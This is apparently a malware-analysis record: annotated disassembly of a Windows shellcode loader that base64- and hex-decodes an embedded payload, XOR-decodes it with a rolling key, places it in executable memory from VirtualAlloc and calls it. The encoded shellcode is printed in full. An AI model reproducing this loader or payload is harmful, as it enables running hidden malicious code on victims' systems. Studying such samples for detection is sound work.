Function at 0x40185d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x3e0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x380], ecx
mov qword [rbp + 0x388], rdx
call dbg.__main
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x71
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov byte [rdx], al
add rdx, 1
mov rax, qword [str.NWUgZjMgNTcgMDkgZjYgZjcgZjAgNTEgNmEgODMgZGQgZTQgOGYgYjcgNTIgNDggNjQgMDMgNTUgYWYgZjMgZTcgNDMgYjMgOWEgNWIgYTcgMTcgNDYgM2YgMWIgZmIgZTIgOTMgN2YgN2YgNzYgNzcgNTcgYzYgYzAgZTkgZjEgZTQgMjcgNGYgMTEgZjkgZmUgNTcgZTUgZTEgYjQgZTMgYzggNDAgZGIgZmEgNDEgMjQgN2YgNTYgNTIgMjQgYjAgYmEgNDUgNjUgY2QgMGQgNTggMWEgZTggZmYgOTQgZjQgZGUgNDEgYzEgMjEgNmEgODAgYTYgYzggYTQgNjQgODggYTkgM2EgNTMgNmMgY2QgMWIgNzcgYTQgOGUgNGEgMWEgZTQgMWQgZWQgMzcgODAgZjUgNDEgYTMgZGMgNWMgMmYgOTcgODMgMmYgZGEgNTQgMGQgOWMgN2QgM2IgYTAgMDkgNWIgYTUgYzEgOTQgNzcgOWYgYzEgYzkgOGUgN2EgOTUgYTQgOGIgZGUgYjkgMTAgZDIgZTMgNjkgYzQgMDIgNjQgY2MgYmQgYmEgOGUgZGQgMmMgNjMgZjcgMTAgMjUgZjEgZDMgODggOGMgZGYgMjcgNzYgNjggYzkgNTcgM2MgYzkgMmQgZmYgYzQgYjggMGIgZjMgN2QgZGUgNmEgMGYgZTggYjggMDIgYWEgNWMgNWMgNmUgMTEgMzEgZGIgZGIgZWIgOGQgY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YgN2UgMGEgMGEgM2MgZGMgZjIgOTMgZjQgYTYgNGUgNzcgNjkgN2IgMjkgYzEgZWQgZmYgZjIgYzggNGQgMzUgN2YgN2EgNjkgYjcgZDQgOTUgOWQgYzMgYmYgNTkgNjEgMTEgNTcgMjAgYzUgZjQgOWYgZDUgY2QgM2EgN2IgMWEgNzQgNDEgY2MgZWIgZTggZWQgOGUgMjggNjAgNzcgMTQgMzEgZGIgOGYgZTggODAgYWMgNDggNWIgNzkgMDMgMmUgYWUgZGQgZmIgOWEgYWUgNTYgNTAgNjAgMWUgMzcgNTAgYzIgZWEgOWIgYjUgZDcgNTUgNjUgMDkgMWIgNTYgYjQgZTEgZTkgOTMgZGUgMGQgMTMgNzAgNzkgMjEgOGEgZTIgMDIgMjUgNWIgYTUgNzYgYzYgODcgMjMgYjUgNTQgMGMgY2YgZTggNDEgMWEgNzIgZjQgNjUgNmUgOTcgYjAgODggNWIgYmIgMTQgMmQgNDYgMWUgYzIgYzkgMGUgOTAgMzkgMGEgZGIgNmYgZDMgMGEgMjEgYzMgMmQgNWEgOWUgNjYgZjkgNjkgYjMgODkgMmQgM2QgOWUgOTcgZDAgZTkgNGIgOTIgY2QgMGMgZGMgNmQgMGUgMzggMjggMWMgMjkgNWQgYWQgODMgNDAgZmMgNTIgZGYgNzIgYmIgN2QgMDggNjAgNDAgOTkgZjYgNGMgZDAgNjkgOGYgYTggNTEgNmEgM2UgNTQgNmQgODYgOWYgZTggMTIgMDIgN2MgZTEgY2EgYjEgNWYgYjIgYjcgODMgZmEgZGMgZDMgMjQgMWQgNjYgNTAgN2EgOTMgYWMgYzUgZGU]
mov rcx, rax
call sym.base64_decode
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.hex2byte
mov dword [rbp + 0x35c], 0x3a2
mov dword [rbp + 0x354], 0x19
mov dword [rbp + 0x358], 0
jmp 0x40192a
mov eax, dword [rbp + 0x358]
cdqe
movzx eax, byte [rbp + rax - 0x60]
mov edx, eax
mov eax, dword [rbp + 0x35c]
xor eax, edx
mov edx, eax
mov eax, dword [rbp + 0x358]
cdqe
mov byte [rbp + rax - 0x60], dl
mov eax, dword [rbp + 0x354]
add dword [rbp + 0x35c], eax
add dword [rbp + 0x358], 1
mov eax, dword [rbp + 0x358]
cmp eax, 0x39c
jbe 0x4018f2
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x39d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x39d
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x348]
call rax
nop
add rsp, 0x3e0
pop rsi
pop rdi
pop rbp
ret